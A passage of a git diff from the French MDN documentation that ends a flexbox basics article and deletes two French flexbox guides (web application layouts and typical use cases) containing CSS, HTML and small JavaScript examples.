L'axe secondaire est perpendiculaire à l'axe principal. Ainsi, si flex-direction vaut row ou row-reverse, l'axe secondaire suivra l'axe des colonnes.

+ +

If flex-direction is set to row then the cross axis runs in the block direction.

+ +

Si l'axe principale est column ou column-reverse, l'axe secondaire suivra celui des lignes (horizontales).

+ +

If flex-direction is set to column then the cross axis runs in the inline direction.

+ +

Comprendre les liens entre les différents axes est crucial lorsqu'on commence à aligner/justifier des éléments flexibles sur un axe ou l'autre grâce aux fonctionnalités et propriétés des boîtes flexibles.

+ +

Les lignes de début et de fin

+ +

Une autre notion fondamentale est l'absence d'hypothèse sur le mode d'écriture du document. Pour les modèles de disposition précédents, CSS était fortement orienté vers les modes d'écritures de droite à gauche et de gauche à droite. Les modèles de disposition modernes permettent de gérer naturellement les différents modes d'écriture et ne reposent plus sur l'idée qu'une ligne de texte commencera en haut à gauche d'un document puis progressera vers la droite et que chaque nouvelle ligne apparaîtra sous la précédente.

+ +

Nous verrons plus tard les détails des relations entre les spécifications des boîtes flexibles et celles des modes d'écriture. Toutefois, décrivons ici pourquoi on ne parlera plus de gauche ou de droite et de bas ou de haut lorsque nous évoquerons la direction dans laquelle s'organisent les éléments flexibles.

+ +

Si flex-direction vaut row et que nous travaillons sur un document écrit en français, la ligne de début de l'axe principal sera située à gauche et la ligne de fin sera située à droite.

+ +

Working in English the start edge is on the left.

+ +

Si on travaille sur un document écrit dans une langue arabe, la ligne de début de l'axe principal sera à droite et la ligne de fin à gauche.

+ +

The start edge in a RTL language is on the right.

+ +

Dans les deux cas, la ligne de début de l'axe secondaire est située en haut et la ligne de fin de cet axe est située en bas car ces deux langues sont écrites horizontalement.

+ +

Nous verrons qu'au fur et à mesure, il devient naturel de parler de début et de fin plutôt que de gauche et de droite. De plus, ce niveau d'abstraction sera utile pour comprendre d'autres méthodes de disposition comme les grilles CSS car il y est également utilisé.

+ +

Le conteneur flexible

+ +

La zone d'un document sujette au modèle de disposition flexbox est appelée un conteneur flexible. Pour créer un conteneur flexible, il faut que la valeur de la propriété {{cssxref("display")}} de cet élément soit flex ou inline-flex. Dès que c'est le cas, les éléments « enfants » directs deviennent des éléments flexibles (flex items). Comme pour les autres propriétés CSS, certaines valeurs initiales sont définies, aussi, lorsqu'on crée un conteneur flexible, tous les éléments flexibles se comporteront de la façon suivante :

+ +
    +
  • Les éléments s'afficheront en lignes horizontales (la valeur par défaut de la propriété flex-direction est row).
    • +
  • Les éléments seront placés à partir de la ligne de début de l'axe principal.
    • +
  • Les éléments ne s'étireront pas le long de l'axe principal mais pourront se rétrécir si nécessaire.
    • +
  • Les éléments seront étirés le long de l'axe secondaire afin d'occuper l'espace sur cet axe.
    • +
  • La propriété {{cssxref("flex-basis")}} vaut auto.
    • +
  • La propriété {{cssxref("flex-wrap")}} vaut nowrap.
    • +
+ +

Autrement dit, tous les éléments formeront une ligne en utilisant la taille de leur contenu. S'il y a plus d'éléments que le conteneur peut en contenir, ils ne formeront pas une nouvelle ligne mais dépasseront du conteneur. Si certains éléments sont plus grands (selon l'axe secondaire) que d'autres, tous les éléments s'étireront sur l'axe secondaire afin d'avoir la plus grande taille.

+ +

Vous pouvez étudier l'exemple qui suit pour voir le résultat obtenu. N'hésitez pa à éditer les éléments ou à en ajouter d'autres pour tester ce comportement initial.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 510)}} 

+ +

Modifier flex-direction

+ +

En ajoutant la propriété {{cssxref("flex-direction")}} au conteneur flexible, on peut modifier la direction dans laquelle les éléments flexibles seront affichés. En utilisant flex-direction: row-reverse, les éléments seront affichés le long d'une ligne horizontale mais les lignes de début et de fin seront inversées.

+ +

Si on utilise column comme valeur de flex-direction, l'axe principal est modifié et les éléments sont affichés sur une colonne. Si on utilise column-reverse, les lignes de début et de fin seront également inversées.

+ +

Dans l'exemple suivant, on utilise flex-direction avec la valeur row-reverse. Vous pouvez utiliser d'autres valeurs — row, column et column-reverse — afin de voir le résultat produit.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}

+ +

Créer un conteneur flexible sur plusieurs lignes avec flex-wrap

+ +

Bien que le modèle des boîtes flexibles soit organisé sur une dimension, il est possible d'organiser les éléments flexibles afin que ceux-ci s'étendent sur plusieurs lignes ou colonnes (plutôt que de dépasser). Lorsque c'est le cas, chaque nouvelle ligne ou colonne agit comme un nouveau conteneur flexible. La distribution de l'espace sur cette ligne/colonne ne tiendra pas compte des autres lignes/colonnes.

+ +

Pour obtenir ce « passage à la ligne », on ajoute la propriété {{cssxref("flex-wrap")}} avec la valeur wrap. Désormais, si les éléments sont trop grands pour tenir sur une seule ligne, ils passeront sur une autre ligne. L'exemple suivant illustre le résultat obtenu lorsque la somme des tailles des éléments dépasse celle du conteneur. Avec flex-wrap qui vaut wrap, les éléments passent à la ligne. Si on modifie la valeur avec nowrap (qui correspond à la valeur initiale), les éléments seront rétrécis pour tenir sur une ligne (car les valeurs initiales des boîtes flexibles permettent aux éléments d'être ainsi redimensionnés). Si on utilise nowrap et que les éléments ne peuvent pas être redimensionnés (ou pas suffisamment), cela causera un dépassement.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}

+ +

Pour approfondir ces notions, vous pouvez consulter l'article Maîtriser le passage à la ligne des éléments flexibles.

+ +

La propriété raccourcie flex-flow

+ +

Il est possible de synthétiser les propriétés flex-direction et flex-wrap avec la propriété raccourcie {{cssxref("flex-flow")}}. La première valeur de cette propriété sera utilisée pour flex-direction et la seconde pour flex-wrap.

+ +

Dans l'exemple qui suit, vous pouvez changer les valeurs de flex-direction en utilisant row, row-reverse, column ou column-reverse pour la première et wrap ou nowrap pour la seconde.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}

+ +

Les propriétés appliquées aux éléments flexibles

+ +

Pour mieux contrôler les éléments flexibles, on peut les cibler directement avec trois propriétés :

+ +
    +
  • {{cssxref("flex-grow")}}
    • +
  • {{cssxref("flex-shrink")}}
    • +
  • {{cssxref("flex-basis")}}
    • +
+ +

Nous verrons ici un rapide aperçu de ces propriétés que nous approfondirons dans l'article Contrôler les proportions des éléments flexibles le long de l'axe principal.

+ +

Avant de revenir à ces propriétés, il nous faut définir le concept d'espace disponible. Lorsque nous modifierons l'une de ces propriétés, cela modifiera la façon dont l'espace disponible est distribué parmi les éléments. Ce concept est également important lorsqu'on aligne les éléments.

+ +

Prenons un conteneur de 500 pixels de large et qui contient trois éléments de 100 pixels de large. Il faut donc 300 pixels pour disposer ces éléments et il reste ainsi 200 pixels d'espace disponible. Si on ne modifie pas les valeurs initiales, l'espace disponible sera placé après le dernier élément.

+ +

This flex container has available space after laying out the items.

+ +

Si on préfère que les éléments s'étirent pour occuper l'espace restant, il nous faut une méthode pour distribuer cet espace parmi les éléments. C'est le rôle des propriétés flex- qui s'appliquent aux éléments.

+ +

La propriété flex-basis

+ +

La propriété flex-basis définit la taille de l'élément en termes d'espace occupé. La valeur initiale de cette propriété est auto — dans ce cas, le navigateur analyse si les éléments ont une taille. Dans l'exemple précédent, les éléments mesurent 100 pixels de large et c'est donc cette mesure qui est utilisée pour flex-basis.

+ +

Si les éléments n'ont pas de taille définie, c'est la taille du contenu qui est utilisée comme base. C'est pour ça que nous avons simplement déclaré display: flex sur l'élément parent afin de créer des éléments flexibles (qui prennent alors tout l'espace nécessaire à leur contenu).

+ +

La propriété flex-grow

+ +

La propriété flex-grow est un entier positif qui, lorsqu'elle est définie, permet aux éléments flexibles de s'étendre à partir de la mesure de flex-basis. Ainsi, l'élément sera étiré et occupera l'espace disponible sur cet axe ou une part de cet espace si les autres éléments peuvent s'étendre également.

+ +

Si on utiliseflex-grow: 1 pour les différents éléments de l'exemple précédent, l'espace disponible sera alors partagé de façon égale entre les éléments qui seront alors étirés pour occuper l'ensemble du conteneur le long de l'axe principal.

+ +

La propriété flex-grow permet de répartir l'espace disponible en « parts ». Si, pour le premier élément, on indique flex-grow avec une valeur de 2 et, pour les autres éléments, flex-grow avec une valeur de 1, deux « parts » de l'espace disponible seront données au premier élément (il recevra donc 100 pixels parmi les 200 pixels restants) et une part sera fournie à chacun des autres éléments (soit 50 pixels chacun parmi les 200 pixels restants).

+ +

La propriété flex-shrink

+ +

La propriété flex-grow permet de gérer la façon dont l'espace est ajouté sur l'axe principal. La propriété flex-shrink permet quant à elle de contrôler la façon dont l'espace est réduit. S'il n'y a pas suffisamment d'espace dans le conteneur pour disposer les éléments et que flex-shrink est un entier positif, l'élément peut alors devenir plus petit que la taille définie par flex-basis. De façon analogue à flex-grow, il est possible d'affecter différents coefficients aux différents éléments afin que ceux-ci rétrécissent plus fortement que d'autres. Plus la valeur de flex-shrink sera élevée, plus l'élément ciblé rétrécira (si les éléments voisins ont une valeur de flex-shrink plus faibles).

+ +

La taille minimale de l'élément sera prise en compte lors du rétrécissement. Cela signifie que flex-shrink peut être moins cohérent que flex-grow selon les cas aux limites. Nous verrons plus en détails comment cet algorithme fonctionne dans l'article Contrôler les proportions des éléments le long de l'axe principal.

+ +
+

Note : Les valeurs de flex-grow et flex-shrink sont des proportions. Autrement dit, si tous les éléments ont flex: 1 1 200px et qu'on souhaite qu'un d'eux grandissent deux fois plus, on utiliserait flex: 2 1 200px pour cet élément. Mais avoir flex: 10 1 200px d'une part et flex: 20 1 200px d'autre part fonctionnerait exactement de la même façon.

+
+ +

La propriété raccourcie flex et les valeurs synthétiques

+ +

On voit rarement flex-grow, flex-shrink et flex-basis utilisées individuellement mais plutôt combinées avec la propriété raccourcie {{cssxref("flex")}}. La propriété raccourcie flex permet de définir les valeurs de cette propriété dans cet ordre : flex-grow, flex-shrink, flex-basis.

+ +

L'exemple suit vous permet de tester différentes valeurs pour flex. La première valeur est flex-grow et un coefficient positif permettra à l'élément de grandir, la deuxième valeur est flex-shrink et un coefficient positif permettra de rétrécir l'élément s'il dépasse du conteneur sur l'axe principal. Enfin, la troisième valeur sert à flex-basis qui indique la taille de base à partir de laquelle l'élément sera étendu ou rétréci.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 400)}}

+ +

Cette propriété permet également d'utiliser des valeurs synthétiques qui couvrent la majorité des scénarios. Vous verrez souvent ces valeurs utilisées dans les tutoriels et, dans de nombreux cas, celles-ci suffiront :

+ +
    +
  • flex: initial
    • +
  • flex: auto
    • +
  • flex: none
    • +
  • flex: <nombre-positif>
    • +
+ +

Avec flex: initial, les éléments récupèrent les valeurs initiales pour les différentes propriétés du modèle de boîte flexible. Cette valeur permettra d'obtenir le même comportement que flex: 0 1 auto. Ici, flex-grow vaut 0 et les éléments ne s'agrandiront pas au-delà de la taille flex-basis. flex-shrink vaut 1 et les éléments pourront rétrécir si besoin plutôt que de dépasser du conteneur. flex-basis vaut auto et les éléments utiliseront donc la taille qui leur a été définie sur l'axe principale ou la taille déterminée à partir du contenu.

+ +

Avec flex: auto, on obtient le même comportement que flex: 1 1 auto, la seule différence avec flex:initial est que les éléments peuvent s'étirer si besoin.

+ +

Avec flex: none, les éléments ne seront pas flexibles. Cette valeur est synonyme de flex: 0 0 auto. Les éléments ne peuvent ni s'agrandir, ni se rétrécir mais seront disposés avec flex-basis: auto.

+ +

On voit aussi souvent des valeurs comme flex: 1 ou flex: 2, etc. Cela correspond à flex: 1 1 0. Les éléments peuvent s'agrandir ou bien rétrécir à partir d'une taille de base égale à 0.

+ +

Vous pouvez utiliser ces valeurs synthétiques dans l'exemple suivant :

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 510)}}

+ +

Alignement, justification et distribution de l'espace disponible entre les éléments

+ +

Une fonctionnalité majeure des boîtes flexibles est de permettre l'alignement et la justification des éléments le long des axes principal et secondaire tout en distribuant l'espace entre les éléments flexibles.

+ +

align-items

+ +

La propriété {{cssxref("align-items")}} permet d'aligner les éléments le long de l'axe secondaire.

+ +

La valeur initiale de cette propriété est stretch, ce qui explique pourquoi, par défaut, les éléments flexibles sont étirés sur l'axe perpendiculaire afin d'avoir la même taille que l'élément le plus grand dans cet axe (qui définit la taille du conteneur sur cet axe).

+ +

On peut également utiliser la valeur flex-start afin que les éléments soient alignés sur la ligne de début de l'axe secondaire, la valeur flex-end afin que les éléments soient alignés sur la ligne de fin de l'axe secondaire ou bien center pour les aligner au centre. Vous pouvez utiliser les valeurs suivantes dans l'exemple (on a donné un hauteur fixe au conteneur afin de pouvoir observer la façon dont les éléments se déplacent à l'intérieur) :

+ +
    +
  • stretch
    • +
  • flex-start
    • +
  • flex-end
    • +
  • center
    • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}

+ +

justify-content

+ +

La propriété {{cssxref("justify-content")}} est utilisée afin d'aligner les éléments le long de l'axe principal dans la direction définie par flex-direction. La valeur initiale est flex-start qui place les éléments à partir de la ligne de début du conteneur sur l'axe principal. La valeur flex-end permet de les placer vers la fin et la valeur center permet de les centrer le long de l'axe principal.

+ +

On peut également utiliser la valeur space-between afin de répartir l'espace disponible de façon égale entre chaque élément. Si on souhaite que l'espace soit également réparti autour des éléments, y compris au début et à la fin, on pourra utiliser la valeur space-around (il y aura alors un demi espace à la fin et au début). Si on souhaite que l'espace soit également réparti et qu'il y ait un espace entier au début et à la fin, on utilisera la valeur space-evenly.

+ +

Vous pouvez essayer les valeurs suivantes dans l'exemple suivant :

+ +
    +
  • flex-start
    • +
  • flex-end
    • +
  • center
    • +
  • space-around
    • +
  • space-between
    • +
  • space-evenly
    • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}

+ +

Dans l'article Aligner des éléments dans un conteneur flexible, nous verrons plus en détails comment ces propriétés fonctionnent. Ces premiers exemples permettent toutefois de comprendre comment utiliser ces propriétés sur une majorité de cas.

+ +

Prochaines étapes

+ +

Avec cet article, vous devriez comprendre les différentes fonctionnalités et concepts relatifs aux flexbox. Dans le prochain article, nous verrons comment cette spécification s'articule avec les autres modules CSS.

diff --git "a/files/fr/web/css/css_flexible_box_layout/bo\303\256tes_flexibles_pour_applications_web/index.html" "b/files/fr/web/css/css_flexible_box_layout/bo\303\256tes_flexibles_pour_applications_web/index.html" deleted file mode 100644 index f91090e0dc..0000000000 --- "a/files/fr/web/css/css_flexible_box_layout/bo\303\256tes_flexibles_pour_applications_web/index.html" +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: Utiliser les boîtes flexibles pour les applications web -slug: Web/CSS/CSS_Flexible_Box_Layout/Boîtes_flexibles_pour_applications_web -tags: - - Avancé - - CSS - - Guide -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox -translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications ---- -
{{CSSRef}}
- -

Les boîtes flexibles permettent de concevoir des dispositions qui s'appliquent mieux à des environnements mobiles et de bureau et qui peuvent servir aux applications web. Fini d'utiliser des éléments {{HTMLElement("div")}} flottants, le positionnement absolu et des bidouilles JavaScript. Quelques lignes CSS permettent de construire des dispositions verticales et horizontales, flexibles. Voici quelques exemples de cas d'utilisation :

- -
    -
  • Centrer un élément au milieu d'une page
    • -
  • Définir des conteneurs qui s'organisent verticalement, l'un après l'autre
    • -
  • Créer une ligne de boutons ou d'autres éléments qui se condensent verticalement sur les écrans de petite taille.
    • -
- -

Cet article ne couvre que l'utilisation des propriétés relatives aux boîtes flexibles non préfixées et standard. Pour plus d'informations sur les préfixes et les anciens navigateurs, se référer au guide plus générique sur la manipulation des boîtes flexibles en CSS.

- -

Les bases

- -

Pour qu'un élément flotte dans une boîte flexible, on peut utiliser la propriété {{cssxref("display")}} avec la valeur flex puis définir {{cssxref("flex-flow")}} avec la valeur row (si on souhaite que les éléments s'organisent horizontalement) ou avec la valeur column (si on souhaite que les éléments s'empilent verticalement). Si on veut avoir une boîte flexible horizontale et que les éléments « passent à la ligne » verticalement, on pourra définir la propriété wrap.

- -

Ensuite, pour chaque élément qui s'inscrit dans le conteneur flexible, on pourra définir la propriété {{cssxref("flex")}}. Généralement, on utilisera les valeurs suivantes :

- -
    -
  • Si on veut qu'un élément n'occupe que la place qui lui est allouée (ex. un bouton), on pourra utiliser flex: none that expands to 0 0 auto.
    • -
  • Si on veut définir la taille explicite d'un élément, on pourra utiliser flex: 0 0 taille. Par exemple : flex 0 0 60px.
    • -
  • Si on veut qu'un élément occupe tout l'espace disponible de façon équitable avec ses voisins, on pourra utiliser flex: auto. It expands to 1 1 auto.
    • -
- -

Il existe bien entendu d'autres possibilités en dehors de cas d'usage simples. Voici quelques exemples d'application.

- -

Centrer un élément

- -

Pour ce cas, le plus simple consiste à créer deux boîtes flexibles, l'une dans l'autre. Chaque boîte flexible aura trois élément, deux autour de l'élément centré ainsi que l'élément en question.

- -

CSS

- -
.vertical-box {
-  display: flex;
-  height: 400px;
-  width: 400px;
-  flex-flow: column;
-}
-.horizontal-box {
-  display: flex;
-  flex-flow: row;
-}
-.spacer {
-  flex: auto;
-  background-color: black;
-}
-.centered-element {
-  flex: none;
-  background-color: white;
-}
-
- -

HTML

- -
<div class="vertical-box">
-  <div class="spacer"></div>
-  <div class="centered-element horizontal-box">
-    <div class="spacer"></div>
-    <div class="centered-element">Centered content</div>
-     <div class="spacer"></div>
-  </div>
-  <div class="spacer"></div>
-</div>
-
- -

Resultat

- -

{{EmbedLiveSample('Centrer_un_élément', 500, 500)}}

- -

Répartir des conteneurs verticalement

- -

Prenons une page qui se compose d'un en-tête, d'une zone de contenu et d'un pied de page. On souhaite que l'en-tête et le pied de page aient la même taille mais que le contenu s'adapte selon l'espace disponible. Pour cela, on peut utiliser la propriété {{cssxref("flex")}} avec la valeur auto pour le contenu et la valeur none pour l'en-tête et le pied de page.

- -

CSS

- -
.vertical-box {
-  display: flex;
-  height: 400px;
-  width: 400px;
-  flex-flow: column;
-}
-.fixed-size {
-  flex: none;
-  height: 30px;
-  background-color: black;
-  text-align: center;
-}
-.flexible-size {
-  flex: auto;
-  background-color: white;
-}
-
- -

HTML

- -
<div id="document" class="vertical-box">
-  <div class="fixed-size"><button id="increase-size">Augmenter la taille du conteneur</button></div>
-  <div id="flexible-content" class="flexible-size"></div>
-  <div class="fixed-size"><button id="decrease-size">Réduire la taille du conteneur</button></div>
-</div>
-
- -

JavaScript

- -
var height = 400;
-document.getElementById('increase-size').onclick=function() {
-  height += 10;
-  if (height > 500) height = 500;
-  document.getElementById('document').style.height = (height + "px");
-}
-
-document.getElementById('decrease-size').onclick=function() {
-  height -= 10;
-  if (height < 300) height = 300;
-  document.getElementById('document').style.height = (height + "px");
-}
- -

Résultat

- -

{{EmbedLiveSample('Répartir_des_conteneurs_verticalement', 500, 500)}}

- -

Créer un conteneur horizontal qui se replie

- -

Dans certains cas, on veut pouvoir afficher des informations horizontalement lorsque l'écran le permet et les replier en vertical lorsque la taille est trop réduire. On peut obtenir cet effet simplement avec les boîtes flexibles en utilisant la valeur wrap sur la propriété {{cssxref("flex-flow")}}.

- -

CSS

- -
.horizontal-container {
-  display: flex;
-  width: 300px;
-  flex-flow: row wrap;
-}
-.fixed-size {
-  flex: none;
-  width: 100px;
-  background-color: black;
-  color: white;
-  text-align: center;
-}
-
- -

HTML

- -
<div id="container" class="horizontal-container">
-  <div class="fixed-size">Élément 1</div>
-  <div class="fixed-size">Élément 2</div>
-  <div class="fixed-size">Élément 3</div>
-</div>
-<button id="increase-size">Augmenter la taille du conteneur</button>
-<button id="decrease-size">Réduire la taille du conteneur</button>
-
- -

JavaScript

- -
var width = 300;
-
-document.getElementById('increase-size').onclick=function() {
-  width += 100;
-  if (width > 300) width = 300;
-  document.getElementById('container').style.width = (width + "px");
-}
-
-document.getElementById('decrease-size').onclick=function() {
-  width -= 100;
-  if (width < 100) width = 100;
-  document.getElementById('container').style.width = (width + "px");
-}
-
- -

Résultat

- -

{{EmbedLiveSample('Créer_un_conteneur_horizontal_qui_se_replie', 500, 200)}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/css_flexible_box_layout/cas_utilisation_flexbox/index.html b/files/fr/web/css/css_flexible_box_layout/cas_utilisation_flexbox/index.html deleted file mode 100644 index 26a4738980..0000000000 --- a/files/fr/web/css/css_flexible_box_layout/cas_utilisation_flexbox/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Cas d'utilisation classiques de flexbox -slug: Web/CSS/CSS_Flexible_Box_Layout/Cas_utilisation_flexbox -tags: - - CSS - - Guide - - Intermediate - - flexbox -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox ---- -

{{CSSRef}}

- -

Dans ce guide, nous verrons quels sont les cas d'utilisation classiques pour les boîtes flexibles et lorsque cette méthode est plus pertinente qu'une autre méthode de disposition.

- -

Pourquoi choisir les boîtes flexibles ?

- -

Dans un monde où la compatibilité entre navigateurs serait un lointain souvenir, on pourrait choisir d'utiliser les boîtes flexibles lorsqu'on souhaite organiser un ensemble d'élément dans une direction ou dans une autre. Lorsqu'on place les éléments, on souhaite contrôler les dimensions de ces éléments dans cette direction ou contrôler l'espacement ainsi créé entre les éléments. C'est ce pourquoi les boîtes flexibles ont été conçues. Vous pouvez approfondir les différences entre les boîtes flexibles et la disposition en grille CSS avec l'article sur les relations entre flexbox et les autres méthodes de disposition où nous voyons comment s'inscrivent les boîtes flexibles dans le paysage de CSS.

- -

Dans la réalité, on utilise souvent les boîtes flexibles pour créer des organisations qu'il serait plus pertinent de construire avec une disposition en grille et pour lesquelles les boîtes flexibles sont une méthode de recours et offrent une certaine capacité d'alignement. Sur ce deuxième aspect, cela pourra évoluer lorsque l'alignement des boîtes sera implémenté dans la disposition en bloc. Dans ce guide, nous verrons quels sont les cas classiques où on utilise les boîtes flexibles aujourd'hui.

- -

La navigation

- -

Un motif souvent utilisé pour la navigation consiste à avoir une liste d'objets qui forment une barre horizontale. Ce motif, bien que simple, était plutôt compliqué à obtenir avant l'apparition des boîtes flexibles. C'est l'exemple le plus simple pour les boîtes flexibles et cela constitue un cas d'utilisation idéal.

- -

Lorsqu'on a un ensemble d'objets qu'on souhaite organiser horizontalement, on peut avoir plus d'espace que nécessaire. Il faut décider comment utiliser cet espace : on peut afficher cet espace entre les éléments afin de les espacer ou bien agrandir les objets. Dans ce dernier cas, il nous faut une méthode pour permettre aux objets de grandir et d'occuper cet espace.

- -

L'espace distribué en dehors des éléments

- -

Pour répartir l'espace entre les éléments ou autour d'eux, on pourra utiliser les propriétés d'alignement des boîtes flexibles et la propriété {{cssxref("justify-content")}}. Vous pouvez approfondir cette propriété avec le guide Aligner des objets dans un conteneur flexible, qui décrit comment aligner des objets sur l'axe principal.

- -

Dans l'exemple qui suit, on affiche les éléments en utilisant leur taille naturelle et on écrit justify-content: space-between afin de répartir l'espace équitablement entre chaque élément. Cette répartition de l'espace peut être modifiée en utilisant la valeur space-around ou, lorsqu'elle est prise en charge, la valeur space-evenly. On peut également utiliser flex-start afin de placer l'espace après les éléments ou encore flex-end pour placer l'espace avant les éléments voire center afin de centrer les éléments.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

- -

L'espace distribué au sein des éléments

- -

On pourrait aussi répartir cet espace disponible afin d'agrandir les éléments plutôt que de les espacer. Dans ce cas, on utilisera les propriétés  {{cssxref("flex")}} afin de permettre aux éléments de grandir/rétrécir proportionnellement les uns aux autres, comme nous avons pu le détailler dans Contrôler les proportions des éléments flexibles le long de l'axe principal.

- -

Si on souhaite que tous les éléments de la barre aient la même largeur, on utilisera flex: auto qui correspond à la notation raccourcie de flex: 1 1 auto — tous les objets grandissent et rétrécissent de la même façon à partir d'une taille de base automatique. Cela signifie que le plus grand élément occupera plus d'espace.

- -

Dans l'exemple qui suit, vous pouvez modifier flex: auto pour utiliser flex: 1 qui correspond à la notation raccourcie de flex: 1 1 0 et qui permet d'avoir la même largeur pour chaque élément, car la base (flex-basis) vaut 0 et permet de répartir l'intégralité de l'espace de façon équitable.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

- -

La navigation séparée

- -

Une autre façon d'aligner les éléments le long de l'axe principal consiste à utiliser des marges automatiques. Cela permet d'obtenir une barre où une partie des éléments sont alignés à gauche alors qu'un second groupe est aligné à droite.

- -

Dans l'exemple qui suit, on utilise la technique des marges automatiques détaillée dans Utiliser les marges automatiques pour l'alignement sur l'axe principal. Les éléments sont alignés le long de l'axe principal avec flex-start, ce qui correspond au comportement initial (par défaut) des boîtes flexibles, et on affecte une marge automatique à gauche pour les éléments qu'on souhaite aligner à droite. Dans le code de l'exemple, vous pouvez déplacer la classe pour l'appliquer sur un autre élément afin de voir comment la césure se déplace.

- -

Dans cet exemple, on utilise également des marges sur les éléments flexibles afin de créer des gouttières entre les éléments ainsi qu'une marge négative sur le conteneur afin que les éléments aux extrémités soient bien alignés sur les bords gauche et droit. Tant que les propriétés gap de la spécification sur l'alignement des boîtes (Box Alignment) ne sont pas implémentées pour les boîtes flexibles, il nous faut utiliser les marges de cette façon si on souhaite créer une gouttière entre les éléments.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

- -

Centrer des éléments

- -

Avant l'apparition des boîtes flexibles, une blague récurrente consistait à dire qu'un des défis majeur sur le Web était le centrage vertical des éléments. Disposant désormais des propriétés d'alignement pour les boîtes flexibles, surmonter ce défi est beaucoup plus accessible. Nous allons le voir dans l'exemple suivant.

- -

Vous pouvez manipuler les propriétés d'alignement pour aligner les objets au début avec flex-start ou à la fin avec flex-end.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

- -

À l'avenir, il ne sera peut-être plus nécessaire d'utiliser un conteneur flexible afin de centrer un seul élément, car les propriétés d'alignement des boîtes auront également été implémentées pour la disposition en bloc. Mais aujourd'hui, si on souhaite correctement centrer un objet dans un centre, il faut utiliser les boîtes flexibles. On procède comme dans l'exemple ci-avant : on modifie le conteneur afin que ce soit un conteneur flexible puis on utilise la propriété align-items sur l'élément parent ou bien on cible l'élément voulu avec align-self.

- -

Une disposition en cartes avec un pied ajustable

- -

Qu'on utilise les boîtes flexibles ou les grilles CSS afin d'organiser une liste de cartes, ces méthodes fonctionnent uniquement sur les éléments fils directs du conteneur flexible ou du conteneur de grille. Cela signifie que si on dispose d'une quantité de contenu variable, la carte s'étirera sur toute la hauteur de la grille ou sur toute la hauteur du conteneur flexible. Tout le contenu à l'intérieur utilise une disposition en bloc classique qui signifie que le pied de page d'une carte avec moins de contenu sera plus haut que celui d'une carte disposant de plus de contenu pour lequel le pied est bien aligné en bas de la carte.

- -

Deux composants "carte" montrant que l'élément contenant le texte ne s'étire pas.

- -

On peut résoudre ce problème avec les boîtes flexibles. Pour commencer, on transforme la carte en conteneur flexible avec {{cssxref("flex-direction")}}: column. Ensuite, on affecte un coefficient flex: 1 à la zone du contenu (ce qui correspond à la notation raccourcie flex: 1 1 0) : l'élément pourra s'étirer ou se rétrécir avec une base 0. Comme c'est le seul élément de la carte qui peut grandir, il occupera tout l'espace encore disponible dans le conteneur flexible et poussera le pied en bas de carte. Dans l'exemple qui suit, si on retire la propriété flex, on peut voir le pied remonter pour être inscrit directement après le contenu.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

- -

Les objets média

- -

Un objet média est un motif classique en design web. Dans ce motif, on a une image ou un autre média d'un côté et le texte associé à droite. Idéalement, on souhaite pouvoir inverser les deux composants et déplacer l'image à droite.

- -

On peut voir ce motif utilisé avec les commentaires, les endroits où on affiche des images et leur description. Avec les boîtes flexibles, on peut dimensionner l'objet média en fonction des dimensions de l'image et occuper le reste de l'espace avec le contenu textuel.

- -

Dans l'exemple suivant, on utilise les propriétés d'alignement des objets sur l'axe secondaire avec flex-start puis on définit .content avec flex: 1. Comme vu dans l'exemple précédent, flex: 1 signifie que cette partie de la carte peut grandir.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

- -

Vous pouvez ici essayer d'appliquer les différentes contraintes relatives à votre conception.

- -

Pour empêcher l'image de devenir trop large, on pourra ajouter la propriété {{cssxref("max-width")}} à l'image. Cette dimension de l'objet utilisant les valeurs initiales des propriétés flexibles, elle pourra rétrécir mais pas grandir et elle utilisera auto comme valeur pour flex-basis. Toute largeur {{cssxref("width")}} ou max-width appliquée à l'image sera utilisée comme mesure pour flex-basis.

- -
.image img {
-  max-width: 100px;
-}
-
- -

On peut également permettre aux deux côtés de grandir/rétrécir proportionnellement. Si on paramètre les deux côtés avec flex: 1, ils grandiront/rétréciront à partir d'une base {{cssxref("flex-basis")}} égale à 0 et on obtiendra alors deux colonnes de même taille. Si on souhaite plutôt utiliser la taille du contenu comme base, on pourra utiliser flex: auto et les deux côtés grandiront/rétréciront à partir de la taille de leur contenu ou de toute taille qui leur serait explicitement appliquée en CSS (par exemple une largeur sur l'image).

- -
.media .content {
-  flex: 1;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

On pourrait aussi utiliser différents coefficients {{cssxref("flex-grow")}} pour chaque côté. Utiliser flex: 1 pour le côté avec l'image et flex: 3 pour le côté avec la description signifierait qu'ils partiraient tous les deux avec une base flex-basis  0 et que l'espace serait distribué dans des proportions différentes correspondantes aux valeurs de flex-grow. Les propriétés flexibles que nous utilisons ici sont décrites en détail dans le guide Contrôler les proportions des éléments flexibles le long de l'axe principal.

- -
.media .content {
-  flex: 3;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

Inverser la position de l'objet média

- -

